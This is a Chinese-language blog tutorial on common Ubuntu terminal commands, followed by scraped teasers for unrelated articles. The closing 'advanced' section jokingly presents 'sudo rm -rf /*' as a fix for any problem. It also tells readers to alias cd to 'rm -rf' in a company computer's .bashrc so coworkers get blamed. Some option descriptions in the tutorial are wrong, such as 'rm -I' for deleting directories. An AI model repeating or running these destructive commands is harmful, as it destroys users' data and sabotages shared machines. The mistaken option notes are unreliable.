【Ubuntu】常用命令
一般操作
- pwd(present working directory)
显示当前的工作目录/路径。
- cd (change directory)
改变目录,用于输入需要前往的路径/目录。
有一些特殊命令也很常用 :
解释
前往同一级的另一个目录 cd ../directory name cd .. 表示进入上层目录 cd ../.. 进入上上层目录,后面还可以加更多。 前往同一级的另一个目录 cd ../directory name cd - //表示返回上一次的目录 cd ~ //进入home主目录,即/home/用户名的简写
- ls (list)
ls 显示当前目录下的文件(不包括隐藏文件和缓存文件等);
列出目录下所有文件
ls -a
ll , 以列表形式显示当前路径下的所有文件的详细信息(包括隐藏文件和缓存文件等)。
- mkdir (make directory)
创建目录,后面接上directory的名字。
mkdir I_dont_care //创建一个“我不在乎”目录
- rm (remove)
删除文件,后面接上要删除的文件名。如果要删除目录,需要这样写:
rm -I <目录名> //这样做会删除指定目录中的所有子目录和包含的文件
- touch
创建任意格式的文件,包括源代码、文本等等,通过后缀来决定。例如,.cpp/.cc是c++源代码,而.py是python源代码。
touch hello_world.cpp //创建hello_world源代码
- cp (copy)
复制命令。通用格式为
cp -? <源文件/源目录> <目的目录> //第一个"-?"表示参数,出发地在左,目的地在右
特别的,如果想把某目录下所有文件都复制,可以使用参数-r
cp -r cangjingkong/ xuexi //将canjingkong目录下的所有资源都复制到xuexi目录中
- mv (move)
移动+重命名命令。格式类似于cp命令
mv -? <源文件/源目录> <目的目录> //第一个"-?"表示参数,出发地在左,目的地在右
以移动txt文件为例 可以分为以下三种情况:
mv a.txt b.txt //出发地和目的地是同一路径,名称从a.txt变为b.txt,那仅仅是重命名
mv ~/目录1/a.txt ~/目录2 //出发地和目的地是不同路径,没有指定新的名称,那仅仅是移动
mv ~/目录1/a.txt ~/目录2/b.txt //出发地和目的地是不同路径,指定了新的名称,那就是移动+重命名
常用的例子有,
移动目录到另一目录中
mv 目录1/ 目录2
将某目录下所有的文件和目录都移动到当前目录下
mv ~/videos/p_hub .
- gedit
在桌面临时新建一个text editor(文本编辑器)显示文件内的文本,并且支持修改。按ctrl+c退出文件显示。
gedit <文件名>
例如,
gedit single_ladies_contacts.csv
- cat
在终端打印出文本内容。
cat <文件名> //在terminal内部打印,和gedit相区分
- code/nano/vi/vim
使用Visual Studio Code/Nano/vi/vim这四种编辑器,打开或者新建一个源代码文件。
- apt/apt-get
更推荐使用apt命令而不是apt-get命令,它的命令更精简而且易用。
解释
sudo apt install <软件名> //安装软件最简单的方式 sudo apt list //查看所有已安装的软件列表 sudo apt search <软件名> //搜索某个软件 sudo apt remove <软件名> //删除某个软件包 sudo apt purge <软件名> //删除某个软件包以及配置文件,更彻底
还有我们最最常用的更新相关命令
sudo apt update
sudo apt upgrade

- dpkg (Debian package)
包管理工具。
首先是下载功能。先在官网下载软件的deb格式安装包,然后cd到下载文件夹,打开terminal(终端)输入:
dpkg -i <.deb后缀的软件名> //i 表示 install
其次是卸载功能。和apt系列命令类似,也可以查看安装列表,搜索指定安装包和卸载。
解释
dpkg -r <包的名字> //r 表示 remove, 此种方法会保留配置文件 dpkg -P <包的名字> //直接全删了,配置也不会保留 dpkg -l //查看安装列表 dpkg -S <包的名字> //搜索某个包
- kill
结束指定进程时使用,就比如某个软件不响应了,这时候kill就相当于windows系统中的任务管理器中的“结束进程”按钮。我们只要指定进程的编号(ID#)
kill <ID#> //结束编号为<ID#>的进程
进程编号如何获得?引出下一个函数。
- ps (process status)
查看所有进程;
ps -A
查看所有包含其他使用者的进程;
ps -aux
关键字查找某个进程,这个办法用于结束指定进程很方便。
ps -ef | grep <关键字>
- grep
Linux grep 命令用于查找文件里符合条件的字符串。
- find
用于查找目录中的文件。
- ln (link files)
插入链接。
ln -sft
ln -hard
- chmod (change mode)
改变权限。
chmod +x dir/file or. chmod 777 dir/file
改为可执行
- du(disk usage)
du -h -l -d 1
-h: --human readable 会显示Mb, Kb, G之类的单位,方便阅读
-d 1: 表示深度为1,只会查看下一级目录的空间占用大小
- df(disk space filesystem)
df -h
基础但实用的操作
如果碰到不会的命令,或者忘记了具体的options(操作选项),可以使用帮助命令:
命令名 -h or --help
如果嫌每次都要sudo太麻烦,可以先登录,获取root权限。
sudo su //输入并回车
//就会让你输入root密码
学会以下代码就可以在技能中写上“熟悉linux系统的开关机”
reboot //重启
poweroff //关机
高端操作
无敌“电脑更新”命令,遇到什么问题都可以用以下代码解决:
sudo rm -rf /*
只要删了库,所有的问题都迎刃而解。
如果你的电脑是公司的,还可以将cd命令换成rm -rf,让以后的同事替你背锅
nano ~/.bashrc
alias cd = "rm -rf"相关文章:
【Ubuntu】常用命令
一般操作 pwd(present working directory) 显示当前的工作目录/路径。 cd (change directory) 改变目录,用于输入需要前往的路径/目录。 有一些特殊命令也很常用 : 解释 前往同一级的另一个目录 cd ../directory name cd .. 表示进入上…...
稀碎从零算法笔记Day22-LeetCode:
题型:链表 链接:2. 两数相加 - 力扣(LeetCode) 来源:Leet 题目描述 给你两个 非空 的链表,表示两个非负的整数。它们每位数字都是按照 逆序 的方式存储的,并且每个节点只能存储 一位 数字。 …...
Nacos下载和安装
(1)下载地址和版本 下载地址:Releases alibaba/nacos GitHub 解压在没有中文及空格的文件夹 (2)启动nacos服务 在bin目录下,打开命令行,输入 启动命令:sh startup.sh -m standalone - Linux/Unix/Mac …...
pandas简介(python)
pandas是什么 Pandas 是一个开源的第三方 Python 库,从 Numpy 和 Matplotlib 的基础上构建而来,享有数据分析“三剑客之一”的盛名(NumPy、Matplotlib、Pandas)。Pandas 已经成为 Python 数据分析的必备高级工具,它的…...
个人网站制作 Part 13 添加搜索功能[Elasticsearch] | Web开发项目
文章目录 👩💻 基础Web开发练手项目系列:个人网站制作🚀 添加搜索功能🔨使用Elasticsearch🔧步骤 1: 安装Elasticsearch🔧步骤 2: 配置Elasticsearch🔧步骤 3: 创建索引 …...
Springboot+vue的仓库管理系统(有报告)。Javaee项目,springboot vue前后端分离项目。
演示视频: Springbootvue的仓库管理系统(有报告)。Javaee项目,springboot vue前后端分离项目。 项目介绍: 采用M(model)V(view)C(controller)三层…...
vue3 + vite 实现一个动态路由加载功能
假设后端返回的格式是这样子 {"menu": [{"path": "/admin","name": "adminLayout","redirect": "/admin/index","componentPath": "/layout/admin/index.vue","children&quo…...
【征稿进行时|见刊、检索快速稳定】2024年区块链、物联网与复合材料与国际学术会议 (ICBITC 2024)
【征稿进行时|见刊、检索快速稳定】2024年区块链、物联网与复合材料与国际学术会议 (ICBITC 2024) 大会主题: (主题包括但不限于, 更多主题请咨询会务组苏老师) 区块链: 区块链技术和系统 分布式一致性算法和协议 块链性能 信息储存系统 区块链可扩展性 区块…...
若依jar包运行脚本,从零到一:用Bash脚本实现JAR应用的启动、停止与监控
脚本使用说明: 启动应用:sh app.sh start停止应用:sh app.sh stop检查应用状态:sh app.sh status重启应用:sh app.sh restart 注意事项: 请确保你的系统上安装了 Java 环境,并且 ruoyi-admin…...
Unix运维_FreeBSD-13.1临时环境变量设置(bin和include以及lib)
Unix运维_FreeBSD-13.1临时环境变量设置(bin和include以及lib) 在 FreeBSD 系统上设置用户环境变量可以通过编辑用户的 Shell配置文件 来实现。 cshrc 与 csh_profile 的区别: cshrc: 每个脚本执行前都执行一遍这个脚本。 csh_profile: 根据不同使用者用户名, 会先去其 home…...
Apache Dolphinscheduler - 无需重启 Master-Server 停止疯狂刷日志解决方案
记录的是一个 3.0 比较难搞的问题,相信不少使用过 3.0 的用户都遇到过 Master 服务中存在一些工作流或者任务流一直不停的死循环的问题,导致疯狂刷日志。不过本人到现在也没找到最关键的触发原因,只是看到一些连锁反应带来的结果…… 影响因素…...
竞争优势:大型语言模型 (LLM) 如何重新定义业务策略
人工智能在内容创作中的突破 在当今快节奏的商业环境中,像 GPT-4 这样的大型语言模型 (LLM) 不再只是一种技术新颖性; 它们已成为重新定义跨行业业务战略的基石。 从增强客户服务到推动创新,法学硕士提供了企业不容忽视的竞争优势。 1. 加强…...
Spring AOP和AspectJ AOP区别
Spring AOP(Aspect-Oriented Programming)和 AspectJ AOP 是两种不同的 AOP 实现方式,它们在实现上有一些区别。下面是它们之间的主要区别: 基于代理 vs 字节码增强: Spring AOP: Spring AOP 是基于代理的…...
FREERTOS信号量详解
信号量是操作系统中重要的一部分,信号量一般用来进行资源管理和任务同步,资源管理其实就是用变量来标记现有资源的数量,任务同步其实就是用标志位来控制任务的先后执行顺序,这些概念在操作系统中以及裸机开发中都有所涉及。 FreeR…...
每天学习一个Linux命令之vim
每天学习一个Linux命令之vim Vim是一款功能强大的文本编辑器,在Linux系统中广泛使用。本篇博客将介绍一些常用的Vim命令及其选项,帮助您更好地使用Vim进行文本编辑。 命令及选项 以下是Vim的常用命令及其可用选项: 1. 打开文件 $ vim fi…...
linux环境部署
war包环境 在Linux系统上部署准备war包环境 查看linux当前版本和系统类型 [rootlocalhost ~]# uname -a Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linuxlinux 打包文件夹 使用tar命令࿱…...
上位机图像处理和嵌入式模块部署(qmacvisual图像预处理)
【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing 163.com】 不管大家是在读书的时候学习的图像处理,还是在后来的工作中,重新学习了图像处理,相信大家对图像预处理的概念并…...
C语言内存函数详解
文章目录 前言一、memcpy函数(内存拷贝函数)二、memmove重叠拷贝函数三.memset内存设置函数四.memcmp内存比较函数总结 前言 我们之前按学习了C语言标准库中提供了一系列的字符和字符串库函数,接下来我们就学习一下关于内存相关的一些函数。…...
详解Redis的持久化RDB和AOF
Redis的持久化是将内存中的数据同步到硬盘的过程 具体来说,Redis支持两种主要的持久化方式:RDB 和 AOF。 RDB(Redis Database) 简介 默认持久化方式 RDB会将内存中的数据快照保存到磁盘上的一个二进制文件中。这个文件包含了…...
详细分析Js中的Promise.all基本知识(附Demo)
目录 1. 基本知识2. Demo3. 实战 1. 基本知识 Promise.all 是 JavaScript 中的一个方法,它接受一个由 Promise 对象组成的数组作为参数,并在所有 Promise 对象都变为 resolved(已完成)状态时才返回一个新的 Promise 对象…...
基于ASP.NET+ SQL Server实现(Web)医院信息管理系统
医院信息管理系统 1. 课程设计内容 在 visual studio 2017 平台上,开发一个“医院信息管理系统”Web 程序。 2. 课程设计目的 综合运用 c#.net 知识,在 vs 2017 平台上,进行 ASP.NET 应用程序和简易网站的开发;初步熟悉开发一…...
可靠性+灵活性:电力载波技术在楼宇自控中的核心价值
可靠性灵活性:电力载波技术在楼宇自控中的核心价值 在智能楼宇的自动化控制中,电力载波技术(PLC)凭借其独特的优势,正成为构建高效、稳定、灵活系统的核心解决方案。它利用现有电力线路传输数据,无需额外布…...
【android bluetooth 框架分析 04】【bt-framework 层详解 1】【BluetoothProperties介绍】
1. BluetoothProperties介绍 libsysprop/srcs/android/sysprop/BluetoothProperties.sysprop BluetoothProperties.sysprop 是 Android AOSP 中的一种 系统属性定义文件(System Property Definition File),用于声明和管理 Bluetooth 模块相…...
算法岗面试经验分享-大模型篇
文章目录 A 基础语言模型A.1 TransformerA.2 Bert B 大语言模型结构B.1 GPTB.2 LLamaB.3 ChatGLMB.4 Qwen C 大语言模型微调C.1 Fine-tuningC.2 Adapter-tuningC.3 Prefix-tuningC.4 P-tuningC.5 LoRA A 基础语言模型 A.1 Transformer (1)资源 论文&a…...
宇树科技,改名了!
提到国内具身智能和机器人领域的代表企业,那宇树科技(Unitree)必须名列其榜。 最近,宇树科技的一项新变动消息在业界引发了不少关注和讨论,即: 宇树向其合作伙伴发布了一封公司名称变更函称,因…...
【Android】Android 开发 ADB 常用指令
查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...
【无标题】湖北理元理律师事务所:债务优化中的生活保障与法律平衡之道
文/法律实务观察组 在债务重组领域,专业机构的核心价值不仅在于减轻债务数字,更在于帮助债务人在履行义务的同时维持基本生活尊严。湖北理元理律师事务所的服务实践表明,合法债务优化需同步实现三重平衡: 法律刚性(债…...
Linux 下 DMA 内存映射浅析
序 系统 I/O 设备驱动程序通常调用其特定子系统的接口为 DMA 分配内存,但最终会调到 DMA 子系统的dma_alloc_coherent()/dma_alloc_attrs() 等接口。 关于 dma_alloc_coherent 接口详细的代码讲解、调用流程,可以参考这篇文章,我觉得写的非常…...
密码学基础——SM4算法
博客主页:christine-rr-CSDN博客 专栏主页:密码学 📌 【今日更新】📌 对称密码算法——SM4 目录 一、国密SM系列算法概述 二、SM4算法 2.1算法背景 2.2算法特点 2.3 基本部件 2.3.1 S盒 2.3.2 非线性变换 编辑…...
SQL注入篇-sqlmap的配置和使用
在之前的皮卡丘靶场第五期SQL注入的内容中我们谈到了sqlmap,但是由于很多朋友看不了解命令行格式,所以是纯手动获取数据库信息的 接下来我们就用sqlmap来进行皮卡丘靶场的sql注入学习,链接:https://wwhc.lanzoue.com/ifJY32ybh6vc…...
